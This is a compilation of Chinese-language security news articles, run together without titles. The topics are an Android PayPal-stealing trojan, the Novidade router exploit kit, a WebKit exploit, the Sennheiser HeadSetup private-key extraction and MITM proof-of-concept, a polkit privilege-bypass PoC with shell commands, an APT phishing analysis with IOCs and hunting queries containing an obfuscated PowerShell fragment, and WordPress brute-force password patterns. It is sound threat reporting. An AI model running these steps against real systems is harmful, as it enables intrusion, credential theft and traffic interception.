ESET最早于2018年11月检测到了该木马,该木马融合了远程控制木马和安卓accessibility服务的功能,来攻击是安卓PayPal APP。目前,该恶意软件在伪装成电池优化工具通过第三方应用商店来进行传播。

图1 – 恶意软件伪装成电池

运作原理

恶意应用启动后会在不提供任何功能的情况后终止并隐藏图标。之后的功能可以分为2个部分,如下所示:

攻击PayPal的恶意Accessibility服务

恶意软件的第一个功能需要激活恶意Accessibility服务,然后从受害者的PayPal账户中窃取资金。如图2所示,展现给用户的请求是“Enable statistics”服务。

图2 –恶意软件假装开启“Enable statistics”服务来请求accessibility服务

如果受害者设备上安装了官方PayPal APP,恶意软件就会展示给用户一个告警通知让用户启动它。一旦用户打开PayPal APP并登陆,恶意accessibility服务就可以模拟用户点击来将用户PayPal账户的钱发送到攻击者的PayPal地址。

分析过程中,APP尝试转账1000欧元,但货币的种类根据用户位置不同而不同。整个过程大约花费5秒钟。如果用户没有怀疑,也没有办法来及时干预整个过程。

因为恶意软件并不依赖于窃取PayPal的登陆凭证,而是等用户自己登陆官方PayPal APP,因此可以绕过PayPal的双因子认证(two-factor authentication, 2FA)。开启了2FA的用户需要多一步认证过程,但是等用户登陆后攻击的过程就一样了。

POC视频地址:https://www.youtube.com/embed/yn04eLoivX8

除非用户的PayPal账户余额不足而且账户没有关联银行卡,否则攻击者都可以成功完成攻击。每当PayPal APP启动后,恶意Accessibility服务会被激活,也就是说攻击可以多次发生。

银行木马依赖overlay攻击

恶意软件的第二个函数会使用钓鱼屏幕悄悄的展示给被攻击的合法APP。默认情况下,恶意软件会下载5个基于HTML的overlay屏幕,包括Google Play, WhatsApp, Skype, Viber, Gmail;但该列表也是动态更新的。

图3是4个获取信用卡信息的overlay屏幕钓鱼,图4是Gmail登陆凭证攻击Gmail。研究人员怀疑这与PayPal的攻击功能又关联,因为PayPal关于每笔完成的交易都会发送给邮件通知。攻击者可以访问受害者的Gmail账户并删除相关的邮件,这样可以继续保持不被发现。

图3 – Google Play, WhatsApp, Viber和Skype要求信用卡信息的恶意overlay屏幕显示

图4 – 获取Gmail凭证的恶意overlay屏幕钓鱼

图5是合法的银行APP请求受害者网络银行账户登陆凭证的overlay屏幕。

图5 – 澳大利亚银行手机银行APP恶意overlay屏幕

与大多数安卓银行木马使用的overlay不同,该银行木马会展示一个锁定前景屏幕,这是安卓勒索软件常使用的一项技术。这可以防止受害者通过点击“返回”或“home”键来移除overlay。唯一可以绕过overlay屏幕的方法就是伪造的表单,但是表单并不会对这些输入的值进行校验,随机和无效的输入也可以使overlay屏幕消失。

研究人员分析,木马作者可能在寻找screen-overlaying机制的其他用法。恶意软件代码中含有称受害者的手机因展示儿童色情信息而被锁定的信息,必须发送邮件到特定地址才可以解除锁定。这样的声明也是早期勒索软件使用的。但还不确定木马背后的攻击者是否可以从受害者这里敲诈勒索,或该功能只是为了覆盖后台运行的其他恶意动作。

除了这两个核心功能,根据从C2服务器获取的命令,恶意软件还可以:

· 拦截和发送SMS消息

· 删除所有的SMS消息

· 修改默认的SMS APP(绕过基于SMS的2FA)

· 获取通讯录列表

· 拨号

· 获取安装的APP列表

· 安装APP,运行安装的APP

· 开始socket通信

Accessibility木马仍在Google Play

研究人员在Google Play应用商店中识别出5个有类似功能的恶意APP,工具目标也是巴西用户。

其中一些追踪其他安卓用户位置的APP已经被报告为恶意的,并且已经从Google Play中移除。事实上,APP会用恶意Accessibility服务来在许多巴西银行的合法APP中进行导航。除此之外,木马会用钓鱼网站overlay大量的应用来钓鱼窃取敏感信息。

图6 – Google Play中的一个恶意APP

这些木马会使用Accessibility来阻止用户卸载恶意应用,当反病毒APP、应用管理器被启动或前端出现卸载相关的字符串时,恶意Accessibility服务会模拟连续点击返回键。

如何应对

安装了恶意APP的用户应该都是恶意函数的受害者。如果用户安装了攻击PayPal的木马,研究人员建议用户检查是否有可疑的交易,并考虑修改网上银行密码/PIN码以及Gmail密码。如果发现有非授权的PayPal交易,尽快报告给PayPal客服。

如果用户设备因为木马展示的锁屏无法使用,研究人员建议使用安卓系统的安全模式(safe mode)启动,然后在Settings > (General) > Application manager/Apps中卸载名为“Optimization Android”的应用程序。

研究人员同时提出以下建议来应对安卓恶意软件的潜在威胁:

· 从官方Google play这样的应用商店去下载APP;

· 下载前先查看APP下载数、评分、以及评论的内容;

· 注意APP请求的权限;

· 定期更新安卓系统和安全补丁;

· 使用手机杀毒软件和安全卫士。

Trendmicro研究人员发现一个通过跨域伪造攻击CSRF来修改DNS设置,以攻击家用和小型办公室用路由器的新利用套件Novidade。Novidade可以通过经过认证的web应用来攻击受害者的移动设备或桌面应用。一旦DNS设置被修改为恶意服务器,那么攻击者就可以执行域欺骗攻击(pharming attack),重定向所有链接相同路由器的设备流量。

研究人员最早是2017年8月发现了Novidade样本,之后还识别出2个变种。其中一个变种出现在GhostDNS攻击活动中的DNSChanger系统中。因此,研究人员认为Novidade并不只是一个单一的攻击活动,该利用套件可能被应用于不同的攻击活动中。其中一个可能性就是该利用套件工具被卖给多个组织或者源代码被泄露了,因此威胁单元可以使用该工具或创建新的变种。其中识别的大多数攻击活动使用钓鱼攻击来提取银行凭证。但研究人员最近发现一起没有特定地理攻击范围的攻击活动,意味着攻击者扩大了攻击的范围或有更多的威胁单元在使用该工具。

因为所有当前变种的web页面上都有一个字符串“Novidade!”,因此研究人员将该利用套件命名为Novidade。

感染链

 Figure 1. Novidade infection chain

图 1. Novidade感染链

研究人员发现Novidade工具通过不同的方式进行传播,包括恶意广告、注入被入侵的网站、即使消息应用等。一旦受害者接收并点击到Novidade的链接,加载的页面会马上执行许多到预定义的本地IP地址列表的HTTP请求,这些请求是JavaScript Image函数生成的,预定义的本地IP地址列表是路由器最常用的IP。如果成功建立链接,Novidade就会查询检测到的IP地址来下载对应的base 64编码的利用payload。然后Novidade会用已有的所有利用对检测到的IP地址进行盲攻击。之后,用默认帐户名和密码列表尝试登陆路由器,然后执行CSRF攻击来修改原来的DNS服务器为攻击者的DNS服务器。一旦路由器被黑,所有连接到该路由器的设备都会受到域欺骗攻击。

 Figure 2. An example of how Novidade is being delivered via instant messages

图 2. Novidade通过即时消息传播示例

下面是使用Novidade的一个典型例子。在该场景中,如果用户尝试连接到目标银行域名,注入的DNS服务器会解析为一个有伪造银行网站的IP地址。

 Figure 3. Example of traffic from a Novidade attack showing the malvertising method

图 3.使用恶意广告方法的Novidade攻击流量示例

3个变种

研究人员一共发现了Novidade的三个变种,所有变种都共享前面提到的攻击方法。但新变种在原有变种的基础上进行了改进。第一个变种是2017年8月发现的,第二个变种与第一个变种的代码结构相似,加入了运行时JavaScript混淆来使用加载的页面根据攻击活动的不同而不同。GhostDNS的JavaScript子模块就是Novidade利用套件的第二个变种。第三个变种保留了JavaScript混淆但重新修改了加载页的代码,并加入了新的特征通过发送到STUN服务器的WebRTC请求到提取受害者的本地IP地址。许多之前的利用工具也使用了这样的技术。第三个变种允许攻击者在加载页中嵌入一个短URL链接来追踪攻击数据,一般嵌入的短链接都是用于重定向的。

目前的攻击活动使用的是Novidade的第二个和第三个变种。

image.png

表 1. Novidade变种比较

下面是部分受影响的路由器型号:

• A-Link WL54AP3 / WL54AP2 (CVE-2008-6823)

• D-Link DSL-2740R

• D-Link DIR 905L

• Medialink MWN-WAPR300 (CVE-2015-5996)

• Motorola SBG6580

• Realtron

• Roteador GWR-120

• Secutech RiS-11/RiS-22/RiS-33 (CVE-2018-10080)

• TP-Link TL-WR340G / TL-WR340GD

• TP-Link WR1043ND V1 (CVE-2013-2645)

Novidade攻击活动

研究人员发现多起使用Novidade攻击路由器的活动。有大量攻击活动攻击巴西的用户,通过恶意广告攻击传播恶意套件来窃取银行信息。使用嵌入Novidade的短URL链接到追踪统计数据,研究人员发现最大的一起攻击活动自3月起已经传播了利用工具2400万次。9月和10月研究人员共发现两起使用不同方法来传播Novidade的方式。

第一个攻击活动使用2018年巴西总统选举的即时消息应用通知来作为诱饵。恶意页面以对选举的问卷展示。但Novidade也被注入到该页面中。受害者在填写问卷的时候,Novidade就攻击了受害者的路由器。受害者会通过即时消息应用来分享该问卷网址给30个人来接收问卷调查的结果。

一旦路由器被黑,就会将DNS服务器修改为144[.]217[.]24[.]233。但是现在已经无法检查域攻击中使用的域名了,因为DNS服务器已经宕机了。

 Figure 4. Fake presidential election survey with an embedded Novidade exploit kit. The question at the bottom part asks if the recipient has already participated in election research

图 4.嵌入了Novidade利用套件的总统大选问卷

另一起攻击活动是2018年10月底开始的,研究人员最初发现多个网站被注入了将用户重定向到Novidade的iframe。其中,研究人员发现攻击者注入攻击的地区不限于巴西,而是分布在多个不同的国家。被黑的路由器的DNS设定被修改为位于108[.]174[.]198[.]177的恶意DNS服务器,当受害者访问Google.com域名时,会被解析到IP地址107[.]155[.]132[.]183。一旦受害者访问目标域名,马上就会看到一个社会工程攻击页面要求受害者下载和安装软件。研究人员无法验证下载的恶意软件到底是什么,因为下载链接已经失效了。但看起来应该是恶意软件或其他用户不想安装的应用。这种技术也在其他攻击活动中多次出现过了。

 Figure 5. Source code of a compromised website with an injected hidden iframe that redirects the victim to the Novidade exploit kit

图 5.将受害者重定向到Novidade利用套件的注入的隐藏iframe代码

 Figure 6. The fake software download

图 6. 伪造的软件下载页面

建议和最佳实践

为了应对Novidade这样的利用工具,研究人员建议用户定期更新设备的固件。默认用户名和密码也是利用的常见入口,因此对所有账户使用强密码是非常重要的。因此,修改路由器的默认IP地址,关闭远程访问特性,来减小攻击者的机会。最后,用户应该使用HTTPS来访问敏感信息以防域攻击带来的危害。

在2018欧洲黑帽(Blackhat Europe)大会上,一款使用人工智能和加固的虚拟环境对恶意软件样本进行分析的恶意软件分析服务SNDBOX(www.sndbox.com)出现了,SNDBOX可以对恶意软件进行静态、动态分析以及网络流量等分析。

SNDBOX

SNDBOX目前是一款在线的免费服务,网址www.sndbox.com。用户可以在网站上提交恶意软件样本进行分析。当提交了样本后,用户可以配置不同的选项,以及样本是否对其他用户公开等等。

Bleepingcomputer研究人员测试上传了一个恶意软件样本。

Submitting a file to SNDBOX

提交文件给SNDBOX

提交文件后,SNDBOX会执行并对恶意软件样本进行静态和动态分析。之后,会提供给用户一个关于恶意软件分析的报告,包括共有3个区域,分别是静态分析、动态分析和网络。

静态分析

静态分析区可以查看提交的文件信息,比如文件metadata、section table、import table、export table等。这些信息也可以通过其他恶意软件分析工具查看,SNDBOX提供的信息与这些相同。

Static analysis section of SNDBOX

静态分析部分

动态分析

动态分析部分是真正展现SNDBOX实力的部分。在执行SNDBOX分析时,会记录所有创建的文件和进程,以及系统API调用、注册表查询和修改、WMI请求等。

Dynamic analysis section of SNDBOX

动态分析部分

AI技术应用在分析样本的执行模式和代码,并将其分类为恶意软件或正常行为。比如,会将尝试清除Shadow Volume Copies的行为归为勒索软件,因为它会释放文件并加入Dropper bucket。信息窃取器Loki会被添加到Stealer bucket。

该部分会列出所有创建的文件,搜索敏感的字符串,并解码。比如,如果检测到base64编码的字符串,就可以在输出中自动解码。

最后,可以在进程执行树中双击任何节点来获取命令行、API调用、子和父进程的更多信息。

网络

网络部分中会看到运行样本过程中的所有网络流量。使用这些信息,AI可以查看一些不寻常的信息。这允许用户快速查看网络流量信息。

Network activity section

网络活动

网络活动会被分成不同的网络服务,所以用户可以关注全部,也可以关注其中的DNS流量和HTTP流量。SNDBOX会使用Suricata IDS来检测一致的恶意流量签名和模型。

Suricata and service grouping

完整JSON报告

并不是SNDBOX收集的所有信息都会展示在网站上,比如HTTP请求的POST数据就不会展示在仪表盘。

但是用户可以下载完整的JSON报告,报告中含有SNDBOX收集的所有信息。

Download Resources

下载的资源

总的来说,SNDBOX是一个非常好用的恶意软件分析工具,大家可以在www.sndbox.com上上传样本尝试。

安全研究人员Linus Henze日前公布了WebKit漏洞的利用代码,影响最新的苹果Safari浏览器。

image.png

WebKit是Apple Safari浏览器的web浏览器引擎,也是其他macOS、iOS和Linux系统中应用的浏览器引擎。

漏洞利用利用了WebKit正则表达式匹配中的优化错误,来实现执行任意shellcode的目的。

最新Safari受影响

Linus Henze称该漏洞已经在WebKit资源中修复了,但补丁只在iOS 12.1.1版本上有效,也就是说iOS 12.0之前的版本都受该漏洞的影响。同时,macOS 10.14.0之后版本也受到影响。而且补丁还没有分发到Safari浏览器。而且漏洞利用的步骤与Samuel Groß创建的CVE-2018-4233漏洞利用类似。

CERT/CC中的漏洞分析人员Will Dormann刚开始尝试Henze的漏洞利用代码竟然失败了,没有复现该bug。之后与作者联系后,成功复现了该漏洞。因为Safari的沙箱保护机制可以防止代码在浏览器外执行,因此没有经验的攻击者可能无法找到该漏洞的利用价值。因此,Henze的POC只是利用沙箱逃逸漏洞的一部分。

潜在利用价值

PoC可以在Apple浏览器中执行shellcode,而且使攻击者可以做Safari允许的所有行为。其中一个场景就是绕过浏览器的同源策略(same-origin policy, SOP),同源策略是浏览器用来限制不同域名的资源进行交互的。

如果攻击者的代码在Safari的限制下运行,shellcode并不一定需要遵守那些Safari才允许访问的敏感信息的规则。理论上,利用Henze的PoC代码是可以绕过Safari的SOP保护机制并访问任意的加载页面的信息的。                       

研究人员通过设置新的RAX值来证明shellcode的价值,而且Safari没有拦截。Shellcode可以让Safari做任何Safari可以做的行为。

image.png

该漏洞除了影响Safari外,还影响依赖JavaScriptCore作为JavaScript引擎的应用。因为Chrome是依赖V8引擎的,因此不受该漏洞影响。应用开发者应该选择使用最新的WebKit版本。

背景

Trusted Root CA证书存储区是向TLS服务器或软件发布商发布证书的实体,是特定客户端系统信任的,其证书也是本地系统接受和认可的。一般来说,分别有浏览器或操作系统厂商来维护Trusted Root CA证书存储区。

虽然可信系统依赖其中的证书自动管理,但管理员和用户还是可以在系统的Trusted Root CA证书存储区中删除或增加证书。因此,应该经常检查和控制存储区的证书。

研究人员分析发现了一个重要的实现漏洞,即攻击者可以轻易的获取加密植入的根证书的加密签名密钥。然后可以对技术上可信的证书进行签名和发布。受该实现bug影响的用户会成为证书伪造的受害者,攻击者可以发送一个经过可信签名的软件,并伪装成Sennheiser授权的证书管理机构。

Sennheiser情况

Sennheiser HeadSetup SDK支持通过浏览器中的基于web的软件电话来使用本地连接的耳机,通过HTTPS从服务器网站加载。HeadSetup是通过打开本地安全web socket(WSS)来支持该应用场景的。Sennheiser称,浏览器必须能够通过可信的HTTPS连接访问本地web socket以绕过相关浏览器的CORS(跨域资源共享Cross-origin resource sharing)限制。因此,HeadSetup SDK需要本地可信的TLS服务器证书发布给localhost IP address (127.0.0.1)和相关的私钥。

HeadSetup行为

老版本

HeadSetup 7.3使用一个单独的私钥/公钥对和相关的证书,所有软件的安装都是相同的。私钥SennComCCKey.pem保存在文件中,证书保存在SennComCCCert.pem文件中,这两个文件都在HeadSetup的安装文件夹中,如图1所示。

证书是自签名的,证书使用包含常用名组件127.0.0.1的发行者和主题名,并且以标准证书扩展BasicConstraints标记为CA证书,如图2和图3所示。有效期至2027年1月13日。

image.png

图1 老版本中的证书和key文件

image.png

图2 老版本证书的主题和发行者名

image.png

图3 老版本证书的BasicConstraints扩展

虽然指定了CA证书,但HeadSetup软件会把它作为本次安全web socket的TLS服务器证书。为了将其变成可信凭证, HeadSetup安装器会将证书推到本地机器操作系统的trusted root certificate store中。

注:HeadSetup安装器必须以本地管理员权限运行。一旦安装用户确认了软件的安装,就不会有系统弹窗来提示将证书加入trusted root store中,并展示证书的指纹。

新版本

HeadSetup新版本(7.4之后版本)使用两种证书:

· 使用CN SenncomRootCA自签名的CA证书,有效期被标记为2023年7月28日,并被保存在HeadSetup安装文件夹的SenncomRootCA.cert.pem文件中。厂商会保存与该证书相关的私钥。

· 使用SenncomRootCA发行的CN 127.0.0.1的TLS服务器证书,有效期至2018年12月22日,并在HeadSetup安装目录中保存一个名为127.0.0.1.crt.pem的文件夹。相关的私钥保存在HeadSetup安装目录的127.0.0.1.key.pem文件中。

这些证书和相关的密钥对私有安装的软件都是相同的。

HeadSetup软件会将后者的证书作为TLS服务器证书的本地安全web socket。为了将它变成可信凭证,HeadSetup安装器会将SenncomRootCA CA证书推进本地机器Windows系统的trusted root certificate store中。

注:HeadSetup安装器也要以本地管理员权限运行,一旦安装用户确认了软件安装,就不会有系统弹窗来提示将证书加入trusted root store中,并展示证书的指纹。

更新或移除软件

老版本升级到新版本后,HeadSetup安装目录中老版本的证书和密钥会被删除并被新版本的的证书和密钥所替代。在HeadSetup软件的移除过程中,整个HeadSetup安装目录包括证书和密钥文件都会被删除。但CA证书在安装或升级过程的移除过程中都不会加入到本地机器trusted root store中。

PoC利用

本节描述如何在eadSetup 7.3中利用漏洞来进行POC。

提取私钥

SennComCCCert.pem文件含有老版本软件的CA证书,格式是直接可用的OpenSSL PEM。但SennComCCKey.pem并不是直接可用的OpenSSL RSA key。研究人员检查发现这明显是base64编码的。用字符Salted_解码二进制文件,文件前缀说明该文件是用OpenSSL对称加密的。

为了解密文件,需要知道厂商用来加密的加密算法和key。研究人员首先猜测厂商使用的是AES加密算法,128位密钥和CBC模式。在HeadSetup安装目录中,只有一段含有SennComCCKey.pem文件的可执行代码和一个名为WBCCListener.dll的DLL文件。研究人员在该DLL中搜索字符串AES,结果如图4所示。

研究人员发现厂商用于加密的key明文保存在代码中。AES解密后,SennComCCKey.pem文件会变成标准OpenSSL PEM格式的私钥文件,私钥会用其他的密码来保护。研究人员发现密码在配置文件WBCCServer.properties中指定了,如图5所示。

了解了解密OpenSSL私钥文件的AES key和访问私钥的密码后,可用使用标准的OpenSSL命令行来提取CA证书和私钥到PKCS#12文件中。

image.png

图4 WBCCListener.dll中的字符串

image.png

图5 WBCCServer.properties中的配置设置

创建伪造的可信服务器证书

研究人员将PKCS#12文件和老版本的HeadSetup key和证书导入到CA软件中,然后创建一个新的密钥对,并使用伪造的CA来发行Google、Sennheiser等域名的主机通配符 TLS服务器证书,如图6所示。

image.png

图6 伪造的证书

使用的工具

为了完成漏洞利用POC,研究人员将CA证书和相关的私钥导入到一个中间人攻击工具中,这里使用的是mitmproxy。发起ARP欺骗攻击来重定向受害者流量到攻击者代理。在访问TLS安全网站时,受害者浏览器会报告连接是安全的,如图7所示,攻击者就可用嗅探和修改整个连接。

image.png

图7 浏览器接受攻击者证书

 image.png

Linux操作系统中UID值大于2147483647的低权限账户可以未授权执行任意systemctl命令。该漏洞存在于PolicyKit(polkit)中,PolicyKit是类Unix操作系统中定义策略、处理系统范围内权限和提供给非特权进程与特权进程通信方式的应用级工具集,比如sudo。

该漏洞CVE编号为CVE-2018-19788,影响PolicyKit v0.115版本,这是大多数主流Linux发行版中预装的版本,其中包括Red HatDebianUbuntu和CentOS。
漏洞是因为PolicyKit没有UID大于INT_MAX的低权限用户的权限请求进行适当的验证。INT_MAX是计算机程序中用于定义整数变量可以保存的最大值的常量,等于2147483647,十六进制表示为0x7FFFFFFF。

也就是说,如果用户在受影响的Linux操作系统中创建了UID大于INT_MAX值的用户账户,攻击者就可以利用PolicyKit组件来执行任意的systemctl命令。

$ systemctl --version
systemd 239
+PAM +AUDIT -SELINUX +IMA +APPARMOR +SMACK -SYSVINIT +UTMP -LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
$ id
uid=4000000000(someuser) gid=100(users) groups=100(users)
$ systemctl stop sshd.service
(pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
$ systemctl is-active sshd.service
inactive

安全研究人员Rich Mirch(Twitter @0xm1rch)发布了该漏洞的PoC,用UID 4000000000证明了该漏洞。

image.png 

在补丁发布之前,Red Hat建议系统管理员不要设置负值UID或大于2147483646的UID,以缓解该漏洞可能带来的威胁。

路透社最近报道有黑客组织对全球的多个目标发起了网络攻击活动。微软研究人员也追踪到了同样的攻击活动,本文介绍该攻击活动的相关细节。

研究人员发现攻击活动主要攻击公共机构和非政府组织,比如智库、研究中心和教育机构,以及石油、天然气、化工以及医疗行业的私营企业。

第三方安全研究人员分析称该攻击是APT 29(CozyBear)组织发起的攻击活动,微软称APT 29为YTTRIUM。截止目前,微软研究人员称还没有足够的证据表明该攻击活动来源于APT 29。

攻击概览

攻击活动是2018年11月14日早晨开始的。攻击目标主要是参与政策制定或在该区域有政治影响的机构。

 钓鱼攻击在不同行业的分布

虽然目标分布在全球的不同行业,但主要分布在美国、尤其是华盛顿周边,其次是欧洲、香港、印度和加拿大。

钓鱼攻击活动地理分布

鱼叉式钓鱼邮件模仿通过OneDrive分享的通知,伪装成美国国务院的工作人员。如果接收者点击了鱼叉式钓鱼攻击邮件中的链接,就开始了攻击的漏洞利用链,最终会导致植入DLL后门,使攻击者可以远程访问接收者的机器。


攻击链

攻击活动分析

传播

攻击中使用的鱼叉式钓鱼攻击邮件模仿通过OneDrive分享的嗯我那件共享通知。

邮件中含有一个合法但是被黑的第三方链接:

· hxxps://www.jmj.com/personal/nauerthn_state_gov/TUJE7QJl[random string]

攻击者使用了随机字符串来识别点击了链接的不同目标。但所有该链接的变种都会将用户重定向到相同的链接:

· hxxps://www.jmj.com/personal/nauerthn_state_gov/VFVKRTdRSm

当用户点击链接后,就会被提供一个含有恶意LNK文件的ZIP文件。攻击中所有文件的文件名都是相同的,比如ds7002.pdf, ds7002.zip, ds7002.lnk。

安装

LNK文件表示攻击的第一阶段。它会执行一个混淆的powershell命令,该命令会从LNK文件的offset 0x5e2be扩展16632字节的位置提取出base64编码的payload。

LNK文件中编码的内容

编码的payload是一个严重混淆的PowerShell脚本,会被解码和执行:

解码的第二个脚本

第二个脚本会从.LNK文件中提取出两个额外的文件:

• ds7002.PDF (诱饵PDF文件)

• cyzfc.dat (1阶段植入)

C2

PowerShell脚本会在路径%AppData%\Local\cyzfc.dat下创建一个第一阶段DLL文件cyzfc.dat。这是导出函数PointFunctionCall的64位DLL。

然后PowerShell脚本会通过调用rundll32.exe来执行cyzfc.dat。在连接第一阶段C2服务器pandorasong[.]com (95.216.59.92)后,cyzfc.dat开始通过以下步骤来安装final payload:

1. 为第二阶段payload分配ReadWrite页;

2. 提取第二阶段payload作为资源

3. 将header融入到第一阶段payload的0xEF字节

4. 将header加到资源从字节0x12A开始的位置中;

5. 用滚动XOR(ROR1)方法从key 0xC5开始解密第二阶段payload。

 

第二阶段payload是Cobalt Strike的一个实例,Cobalt Strike是一个商业渗透测试工具,会执行以下步骤:

1. 以\\.\pipe\MSSE-<number>-server格式定义一个本地命名的pipe,其中<number>是0到9897之间的随机数字;

2. 连接到pipe,写入全局数据size 0x3FE00;

3. 通过命名的pipe实现后门:

· 从pipe(最大0x3FE00字节)到分配的缓存中读取内容;

· XOR解码payload到新的RW内存区域,这次使用的XOR key为:用0x7CC2885F每4个字节进行简单XOR

· 将该区域变成RX;

· 创建一个线程运行payload。

 

将全局数据写入pipe实际上是写的是一个第三方payload。Payload也是用相同的XOR算法加密的,解密后,与Meterpreter header组成了一个PE文件,可以翻译PE header中的指令,并将控制转移到反射加载器上:

 

第三个payload最后会加载并连接到C2服务器地址,其中C2服务器地址是融入到PE文件的配置信息中的。配置信息在第3个payload运行时会XOR解密:

 

配置信息本身含有C2信息:

 

CobaltStrike是一个功能丰富的渗透测试工具,提供给远程攻击者广泛的功能,包括提权、获取用户输入、通过PowerShell或WMI执行任意命令、执行侦察、通过不同协议与C2服务器通信、下载和安装恶意软件等。

Indicators of attack

Files (SHA-1)

• ds7002.ZIP: cd92f19d3ad4ec50f6d19652af010fe07dca55e1

• ds7002.LNK: e431261c63f94a174a1308defccc674dabbe3609

• ds7002.PDF (decoy PDF): 8e928c550e5d44fb31ef8b6f3df2e914acd66873

• cyzfc.dat (first-stage): 9858d5cb2a6614be3c48e33911bf9f7978b441bf

URLs

• hxxps://www.jmj[.]com/personal/nauerthn_state_gov/VFVKRTdRSm

C&C servers

• pandorasong[.]com (95.216.59.92) (first-stage C&C server)

安全团队可以查找网络中相关的活动来确定是否被攻击和入侵:

//Query 1: Events involving the DLL container
let fileHash = "9858d5cb2a6614be3c48e33911bf9f7978b441bf";
find in (FileCreationEvents, ProcessCreationEvents, MiscEvents, 
RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents)
where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash
| where EventTime > ago(10d)
//Query 2: C&C connection
NetworkCommunicationEvents 
| where EventTime > ago(10d) 
| where RemoteUrl == "pandorasong.com" 
//Query 3: Malicious PowerShell
ProcessCreationEvents 
| where EventTime > ago(10d) 
| where ProcessCommandLine contains 
"-noni -ep bypass $zk=' JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0" 
//Query 4: Malicious domain in default browser commandline
ProcessCreationEvents 
| where EventTime > ago(10d) 
| where ProcessCommandLine contains 
"https://www.jmj.com/personal/nauerthn_state_gov" 
//Query 5: Events involving the ZIP
let fileHash = "cd92f19d3ad4ec50f6d19652af010fe07dca55e1";
find in (FileCreationEvents, ProcessCreationEvents, MiscEvents, 
RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents)
where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash
| where EventTime > ago(10d)

Defiant威胁情报团队最近发现一起针对WordPress网站的有组织的暴力破解攻击活动。攻击者创建了一个由受感染的WordPress网站组成的僵尸网络来执行攻击,攻击中尝试通过XML-RPC认证来访问其他WordPress网站的特权账户。Wordfence过去30天共拦截到与该攻击活动相关的认证有超过500万次。

攻击者用一组4个C2服务器来发送请求给14000个俄罗斯代理提供商best-proxies[.]ru提供的代理服务器。攻击者用这些代理使C2流量匿名化。请求传递给代理服务器后,会被发送给超过20000个被感染的WordPress网站。这些网站都运行一个攻击WordPress网站的攻击脚本。攻击链如下图所示:

下面介绍攻击链的详细情况:

暴力破解攻击脚本

研究人员分析发现执行暴力破解攻击的IP几乎都与主流的web托管提供商相关,而且攻击的都是WordPress  /xmlrpc.php的XML-RPC接口。研究人员还注意到与这些请求匹配的User-Agent字符串与wp-iphone和wp-android与XML-RPC接口交互的方式是匹配的。因为这些应用都会本地保存凭证,因此如果有大量的登陆失败记录属于异常情况。研究人员共发现有超过20000个WordPress网站攻击其他的WordPress网站。

WordPress攻击WordPress

攻击脚本首先会攻击WordPress网站的XML-RPC接口来测试username/password的组合,对每个请求随机伪造User-Agent字符串:

 image.png

暴力破解脚本会通过POST来获取C2输入来定义执行设置的字符串,比如目标域名的JSON数组和本地wordlist(词典):

image.png 动态词典生成

与攻击活动相关的词典包含一小部分常见密码集。脚本还可以根据常见的模式来动态生成合适的密码。常见的模式有:

%domainPattern%
%userName%
%userName%1
%userName%123
%userName%2018
%userName%2017
%userName%2016

换句话说,如果暴力破解脚本尝试以用户alice来登陆example.com,就会生成alice1, alice2018这样的密码。但这种技术在一些给定的网站中并不会成功,因此在大规模尝试的过程中就会出现大规模失败。

Multicall组呼功能

WordPress的XML-RPC接口在2015年的暴力破解攻击中就被关注过,那时候利用组合功能的攻击还非常流行。使用接口攻击者可以在一个请求中发送大量的user/password组合。WordPress会测试每个组合,然后返回成功/错误的列表。因为攻击者只需要发送一个凭证列表然后等待结果就可以了,因此这使暴力破解攻击大规模应用时变得更加简单。

攻击活动中的暴力破解脚本默认会执行组呼攻击。下面的代码段可以看出,在给定用户名和一些密码后,函数会组合一个含有所有要尝试的密码的XML对象。

image.png

使用指令来执行暴力破解攻击的C2系统还可以选择性的定义$startPass和$endPassvariables,这使暴力破解脚本只尝试一个给定列表的密码子集,而不是完整的密码集,这可以节省时间。

Multicall攻击不再有效

许多WordPress用户可能并没有意识到XML组呼攻击不再有效了。因为WordPress 4.4中引入了wp-includes/class-wp-xmlrpc-server.php的补丁。引入该补丁后,如果一个用户在目标网站上的XML-RFC尝试登陆请求失败了,那么相同请求中随后的尝试都会失败,即使凭证是有效的。

WordPress 4.4的XML-RPC补丁并没有发布记录。但是如果WordPress版本在4.3之前,该攻击方法还是有效的。攻击者应该也是意识到了该补丁,研究人员工防火墙拦截到的请求中都定义了$startPass和$endPass参数,并且值也是一样的。也就是说攻击脚本每次只尝试一个用户名和密码的组合就结束。

基础设施

C2服务器

攻击链在攻击者和目标站点之间使用了多抽象层。暴力破解攻击是由受感染的WordPress网络执行的,受感染的WordPress站点是通过代理服务器网络来接收指令的,所以很难追踪背后的中心C2服务器。

但研究人员发现攻击者用于暴力破解的脚本存在一些错误。每个脚本所用的词典都保存在同一受感染的WordPress站点上,其中含有重新生成字典的函数:

 image.png

checkWordsList()函数会传递一个$path参数,该参数定义了含有字典的远程地址。如果没有本地字典,脚本就会从给定的地址下载。路径是从代理服务器发给暴力破解脚本的POST数据的剩余部分。研究人员拦截到的请求中包含有路径和IP地址。

IP指向一个含有登录页的服务器:

 

C2服务器中的简单登陆页

C2接口访问

对C2的进一步分析显示,对这些系统的认证并不是强制的。尝试访问C2接口的页面会触发一个302错误重定向到登陆页,但应用在重定向的时候也会发送数据。

 

到C2服务器主页的cURL请求

研究人员用BurpSuite创建了一个忽略登陆重定向的代理规则,这样就可以浏览C2应用的接口了。该接口包含大量特征,包括访问含有暴力破解脚本的受感染的WordPress僵尸网站的能力。

 

C2接口显示攻击者导出的日志列表

Best-Proxies.ru

研究人员通过访问C2服务器接口发现这些服务器和代理服务器有一定的相关性。每个服务器在webroot中都含有proxy.txt文件。该文件中有含有上万条SOCKS代理地址、IP地址和端口的文件。这些IP地址与之前发现的代理服务器的地址是重合的,也就是说C2在攻击时根据该文件随着选择代理,研究人员共发现14807个代理服务器。

